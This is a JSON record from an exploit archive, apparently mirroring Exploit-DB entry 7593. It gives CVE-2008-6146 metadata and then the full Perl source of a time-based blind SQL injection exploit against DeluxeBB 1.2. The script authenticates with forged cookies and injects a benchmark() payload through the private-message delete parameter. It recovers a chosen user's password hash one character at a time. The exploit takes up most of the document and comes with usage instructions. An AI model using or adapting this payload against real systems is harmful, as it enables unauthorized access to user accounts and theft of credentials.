{"exploit":{"id":"EDB-7593","name":"DeluxeBB 1.2 - Blind SQL Injection (SQLi)","description":"DeluxeBB 1.2 - Blind SQL Injection (SQLi)","cves":["CVE-2008-6146"],"author":"StAkeR","published":"2008-12-28","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/7593","path":"exploits/php/webapps/7593.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-7593.pl","vulnerabilities":[{"id":"CVE-2008-6146","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in pm.php in DeluxeBB 1.2 and earlier, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary SQL commands via a delete##### parameter in a Delete action, a different vector than CVE-2005-2989.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-6146","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-6146"},"updatedAt":"2024-08-07T11:20:25.237Z","retrievedAt":"2026-11-26T19:06:41.345Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-7593.png?v=2","url":"https://exploitbin.com/exploits/EDB-7593","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-7593/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-7593/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# --------------------------------------------------\n# DeluxeBB <= 1.2 Remote Blind SQL Injection Exploit\n# --------------------------------------------------\n# by athos - staker[at]hotmail[dot]it\n# download on http://deluxebb.com\n# --------------------------------------------------\n# Usage:\n# perl xpl.pl host/path prefix id password target id\n# perl xpl.pl localhost/deluxebb deluxebb 5 r00x 1\n# --------------------------------------------------\n# Note: magic_quotes_gpc off\n#       don't add me on msn messenger\n#       my email staker.38@gmail.com\n# --------------------------------------------------\n# Greetz: str0ke,The:Paradox and #cancer\n# --------------------------------------------------\n\nuse strict;\nuse Digest::MD5('md5_hex');\nuse LWP::UserAgent;\n\nmy ($hash,$http);\nmy ($host,$prefix,$user,$pass,$target) = @ARGV;\n\n$http = new LWP::UserAgent(timeout => 5);\n\nif (@ARGV != 5)\n{\n      print \"\\n+----------------------------------------------------+\\r\",\n            \"\\n| DeluxeBB <= 1.2 Remote Blind SQL Injection Exploit |\\r\",\n            \"\\n+----------------------------------------------------+\\r\",\n            \"\\nby athos - staker[at]hotmail[dot]it\\n\",\n            \"\\nUsage     + perl $0 [host/path] [prefix] [ID] [password] [target ID]\",\n            \"\\nHost      + localhost/DeluxeBB\",\n            \"\\nID        + your user ID\",\n            \"\\nPassword  + your password\",\n            \"\\nPrefix    + table prefix (default: deluxebb)\",\n            \"\\nTarget ID + target id\\n\";\n      exit;\n}\n\n$http->default_header('Cookie' => cookies($user,$pass));\n\n&exploit;\n\nsub getUsername\n{\n      my ($user_id,$response,@nickname) = $_[0];\n\n      $response = $http->get(\"http://$host/misc.php?sub=profile&uid=$user_id\");\n      @nickname = $response->as_string =~ m{<span class=\"misctext\">(.+?)</span>}ig;\n\n      return $nickname[1];\n}\n\n\n\nsub cookies\n{\n      my ($username);\n      my ($user_id,$password) = @_;\n\n      $username = getUsername($user_id);\n      $password = md5_hex($password);\n\n      return qq{membercookie=$username; memberid=$user_id; memberpw=$password;};\n}\n\n\nsub getMsg\n{\n      my $response = $http->get(\"http://$host/pm.php?sub=folder&name=inbox\");\n\n      if ($response->as_string =~ m/pid=(\\d+)./i)\n      {\n            return $1;\n      }\n      else\n      {\n            my $content = {\n                 to       => getUsername($user),\n                 subject  => rand(999),\n                 posticon => 'none',\n                 rte1     => rand(999),\n                 submit   => 'Send'\n\n            };\n\n\n            my $request = $http->post(\"http://$host/pm.php?sub=newpm\",$content);\n            my $read_id = $http->get(\"http://$host/pm.php?sub=folder&name=inbox\");\n\n            if ($read_id->content =~ /pid=(\\d+)./i)\n            {\n                  return $1;\n            }\n      }\n}\n\n\nsub sql\n{\n      my ($i,$j,$sql) = (shift,shift,undef);\n\n      $sql = \"%27+OR+(SELECT+IF((ASCII(SUBSTRING(pass,$i,1))=$j),\".\n             \"benchmark(200000000,CHAR(0)),0)+FROM+${prefix}_users\".\n             \"+WHERE uid=$target))%23\";\n\n      return $sql;\n}\n\n\nsub delay\n{\n      my ($tm1,$tm2) = (undef,undef);\n      my ($msg,$sql) = @_;\n\n      $tm1 = time();\n\n      $http->get(\"http://$host/pm.php?sub=do&submit=Delete&delete$msg=$sql\");\n\n      $tm2 = time();\n\n      return $tm2 - $tm1;\n}\n\n\nsub exploit\n{\n      my ($i,$ord) = (1,undef);\n      my @chr = (48..57, 97..102);\n\n      for ($i..32)\n      {\n            foreach $ord(@chr)\n            {\n                  if (delay(&getMsg,&sql($i,$ord)) >= 5)\n                  {\n                        syswrite(STDOUT,chr($ord)); $hash .= chr($ord);\n                        last;\n                        $i++;\n                  }\n\n                  if ($i == 2 and not defined $hash)\n                  {\n                        syswrite(STDOUT,\"Exploit Failed!\\n\");\n                        exit;\n                  }\n            }\n      }\n}\n\n# milw0rm.com [2008-12-28]","sha256":"941d8951b8919a8abb9fb73ff31e67dfe0c4c504cd204b900a9c0c3ecbd086e3","bytes":3935,"fetchedAt":"2026-11-26T19:06:41.142Z","encoding":"utf-8 (display only; download retains original bytes)"}